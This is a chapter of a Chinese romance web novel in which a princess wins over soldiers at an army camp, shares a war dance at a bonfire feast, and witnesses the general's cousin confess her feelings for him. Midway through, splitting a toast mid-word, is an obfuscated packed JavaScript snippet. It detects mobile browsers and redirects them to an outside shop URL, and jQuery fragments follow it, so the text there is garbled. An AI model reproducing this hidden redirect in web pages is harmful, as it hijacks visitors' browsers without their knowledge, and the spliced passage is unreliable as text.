16. 第十六章 篝火试心

作品:《长公主的阴冷暗卫

    接下来的几日,明仪当真放下了长公主的身份,每日清晨便着劲装前往军营。


    起初士兵们还有些拘谨,行礼时毕恭毕敬,说话时小心翼翼。但明仪并不端着架子——她跟着燕云徹学完防身术后,会帮着医官分发伤药,会与火头军一起准备午膳,甚至学着为战马刷洗梳毛。


    第三日午后,她正蹲在校场边,与几个年轻士兵一起磨枪头。铁石摩擦的声音沙沙作响,她的额角渗出细汗,手上沾满了黑灰。


    “公主,让末将来吧。”一个名叫赵四的年轻士兵忍不住道。


    明仪摇头,继续手上的动作:“磨枪头也有讲究,刃口的角度、厚薄,都影响刺击的效果。这些我若不亲手做,永远只是纸上谈兵。”


    她说着,举起磨好的枪头对着阳光看了看,刃口闪着寒光:“你们看,这样才算合格。”


    士兵们围过来,啧啧称奇。谁能想到,金枝玉叶的长公主,竟能静下心来磨枪头,还磨得有模有样。


    赵四忍不住问:“公主,您为何要来军营做这些?”


    明仪擦擦手,抬眼看向校场上正在操练的士兵:“因为我想知道,是什么支撑着你们每日重复这些枯燥的训练,是什么让你们愿意把性命托付给彼此。”


    她顿了顿,声音轻了些:“我也想成为能被人托付性命的人。”


    士兵们沉默。他们见过太多高高在上的贵人,但从未见过这样的公主——不摆架子,不嫌脏累,愿意走进他们的世界,了解他们的生活。


    从那日起,士兵们看明仪的眼神渐渐变了。不再只是敬畏,更多了几分亲近与敬佩。


    第五日,燕云徹提议办一场篝火宴,庆祝第一批禁军完成基础训练。


    黄昏时分,校场中央燃起了篝火。火头军宰了十头羊,架在火上烤,油脂滴在火堆里,发出滋滋的声响,香气飘满整个军营。


    士兵们围坐成圈,中间留出一片空地。有人抱来了战鼓,有人拿出了胡笳,简单的乐器却奏出了豪迈的旋律。


    明仪坐在燕云徹身边,也换下了劲装,只着一身简单的月白襦裙,发间别着一朵不知哪个士兵从营外摘来的野花。


    “尝尝这个。”燕云徹撕下一块烤得焦香的羊肉递给她,“火头军老张的手艺,整个洛安城都找不出第二家。”


    明仪接过,咬了一口。羊肉外焦里嫩,撒着粗盐和野茴香,简单却美味。她吃得满嘴油光,毫不顾忌形象。


    周围士兵见状,都笑了起来。气氛更加轻松。


    这时,一个身影从人群中走出,来到篝火旁的空地上。那是个女子,约莫二十出头,一身赤红戎装,长发高高束起,眉眼间带着几分英气,与燕云徹有三分相似。


    她向燕云徹和明仪行了个军礼:“末将燕青,参见侯爷,参见公主。”


    燕云徹颔首:“青儿,坐吧。”


    燕青却未坐下,而是看向明仪,目光中带着审视:“早听闻公主风姿,今日一见,果然不凡。”


    这话说得客气,语气却有些生硬。


    明仪微笑:“燕将军过奖。听说你是侯爷的表妹,在北境时便是他麾下得力干将。”


    “不敢当。”燕青淡淡道,“只是跟着表哥打过几场仗罢了。”


    她说着,目光转向燕云徹,眼中闪过一丝复杂的情绪:“表哥回洛安后,北境的兄弟们都念着你。尤其是……狼骑营那些老兵,常说若侯爷还在,定能带他们打到突厥王庭。”


    这话说得亲昵,带着旁人插不进去的熟稔。


    燕云徹神色不变:“狼骑营如今由你统领,我很放心。”


    燕青还要说什么,却被一阵鼓声打断。几个士兵敲响了战鼓,节奏热烈激昂。有人站起来,随着鼓点跳起了战舞——那是北境军中流传的舞蹈,动作刚劲有力,充满了力量感。


    “公主可会跳舞?”燕青忽然问。


    明仪摇头:“宫中舞蹈多是柔婉之姿,与这战舞不同。”


    “那末将教公主。”燕青说着,已走到空地上。她回头看向明仪,眼中带着几分挑衅,“军中之舞,讲究气势。公主敢试试吗?”


    周围士兵都看了过来。燕青是军中出了名的女将,舞技也是数一数二。她此刻邀公主共舞,分明是想看这位金枝玉叶出丑。


    燕云徹眉头微皱,正要开口,明仪却已站起身:“好啊,那就劳烦燕将军指点。”


    她走到燕青身边,月白襦裙在篝火映照下如披霞光。与一身赤红的燕青站在一起,一柔一刚,对比鲜明。


    鼓声再起。燕青率先起舞,她的动作大开大合,每一个转身、每一个踏步都带着沙场杀伐之气。这是真正的战舞,是军人用血与火淬炼出的舞蹈。


    明仪看着她的动作,起初有些生涩。但她很快找到了节奏——宫中舞蹈虽柔,但她自幼习练,对身体的控制力极强。她将燕青刚劲的动作稍作调整,融入了些许柔韧,竟别有一番风姿。


    篝火跳跃,两个女子的身影在火光中交错。燕青的舞如烈火,明仪的舞如流水。烈火刚猛,流水绵长,竟是相得益彰。


    鼓点越来越急,两人的动作也越来越快。到最后,已分不清是谁在引领谁,只觉得两股力量在碰撞、融合。


    一曲终了,两人同时收势。周围爆发出热烈的掌声和喝彩。


    燕青喘息着看向明仪,眼中的审视少了几分,多了几分惊讶:“公主……跳得很好。”


    “是燕将军教得好。”明仪微笑,额上沁出汗珠。


    燕青沉默片刻,忽然单膝跪地:“末将方才失礼,请公主恕罪。”


    明仪扶起她:“何罪之有?军中儿郎,直来直往,这才是本色。”


    燕青抬头看她,眼中终于有了真诚的笑意:“表哥说得对,公主……确实不同。”


    回到座位,燕云徹递过水囊,低声道:“青儿性子直,但心不坏。公主莫要见怪。”


    “怎么会。”明仪喝了口水,“我倒喜欢她这样的性子。比那些虚与委蛇的人,强上百倍。”


    篝火宴继续。士兵们轮流表演——有人唱起家乡的民谣,有人讲起战场上的趣事,有人展示军中绝技。气氛热烈而融洽。


    燕青也放开了,与几个老部下拼酒,笑声爽朗。但她看向燕云徹时,眼中总有一丝掩饰不住的留恋。


    明仪看在眼里,心中了然。这个女子,怕是倾心燕云徹已久。


    酒过三巡,燕青端着酒碗来到燕云徹面前:“表哥,我敬你一杯。谢你当年在北境救我性命,也谢你这些年的照拂。”


    她仰头饮尽,碗底朝下:“这一碗,是我欠你的。”


    燕云徹也饮尽碗中酒:“你我兄妹,不必说这些。”


    “兄妹……”燕青喃喃重复,眼中闪过一丝苦涩。她很快掩饰过去,笑道,“是啊,兄妹。”


    她又倒了一碗,转向明仪:“公主,我也敬你。这碗酒,一是赔罪,二是……祝福。祝你和表哥,白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134080|196195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头偕老。”


    这话说得真诚,没有半分勉强。


    明仪端起酒碗:“多谢。”


    两人对饮。酒是军中烈酒,入喉辛辣,明仪被呛得轻咳几声。燕青大笑:“公主喝不惯这酒?”


    “确实烈了些。”明仪实话实说。


    “但痛快。”燕青道,“比那些温吞吞的宫廷御酒,痛快多了。”


    夜深了,篝火渐弱。士兵们三三两两散去,有的回营帐休息,有的继续围着小堆篝火聊天。


    燕云徹和明仪也准备回营房。临走时,燕青叫住燕云徹:“表哥,我有话跟你说。”


    明仪会意,对燕云徹道:“我先回去。”


    她走出一段距离,却还是听见了身后的对话。


    燕青的声音很低,但在寂静的夜里依然清晰:“表哥,我……我知道我没资格说什么。但我还是想告诉你,这些年,我一直在等你。”


    沉默。


    然后燕云徹的声音响起:“青儿,你是我妹妹。”


    “只是妹妹吗?”燕青的声音有些发颤,“在北境的时候,我们并肩作战,生死与共。我以为……”


    “你永远是我的妹妹。”燕云徹打断她,“也是我最信任的将领。但仅此而已。”


    又是沉默。


    良久,燕青笑了,笑声里带着释然:“我知道了。表哥,祝你幸福。”


    “你也会找到属于你的幸福。”燕云徹的声音温和。


    明仪没有再听下去,她加快脚步,走向营房。心中并无醋意,反而有些感慨——燕青是个好女子,敢爱敢恨,坦荡磊落。只可惜,感情的事,强求不得。


    回到营房不久,燕云徹也回来了。他脸上没什么表情,但眼中带着些许疲惫。


    “说清楚了?”明仪问。


    燕云徹点头:“说清楚了。”


    他走到明仪身边,握住她的手:“公主可会怪我?”


    “怪你什么?”明仪失笑,“怪你太招人喜欢?”


    “青儿她……”


    “她是个好女子。”明仪认真道,“敢爱敢恨,坦荡磊落。我敬重她。”


    燕云徹看着她,眼中情绪翻涌。他忽然将她拥入怀中,很紧很紧。


    “臣何其有幸。”他在她耳边低语,“能得公主为妻。”


    明仪回抱住他:“我也何其有幸,能得你为夫。”


    营房外,最后一点篝火也熄灭了。军营陷入沉睡,只有巡逻士兵的脚步声规律响起。


    而在这简朴的营房里,两人相拥而眠。没有猜忌,没有不安,只有全然的信任与安心。


    次日清晨,明仪醒来时,燕云徹已不在身边。她起身走到窗边,看见他已在校场上,与士兵们一起晨练。


    燕青也在其中,一身戎装,神情如常。见到明仪,她还远远地行了个军礼。


    明仪微笑颔首。


    一切如常,却又有些不同。那些细微的隔阂与试探,在昨夜的篝火与坦诚中,悄然消融。


    这才是军营——直来直往,恩怨分明。喜欢就是喜欢,敬重就是敬重,一切摆在明面上,不玩那些虚的。


    明仪忽然觉得,她越来越喜欢这个地方了。


    这里没有宫廷的弯弯绕绕,没有朝堂的钩心斗角。有的是最朴素的忠诚,最直接的情义,最纯粹的生死相托。


    而这,正是她和燕云徹最需要的。


    她换好劲装,走出营房,加入晨练的队伍。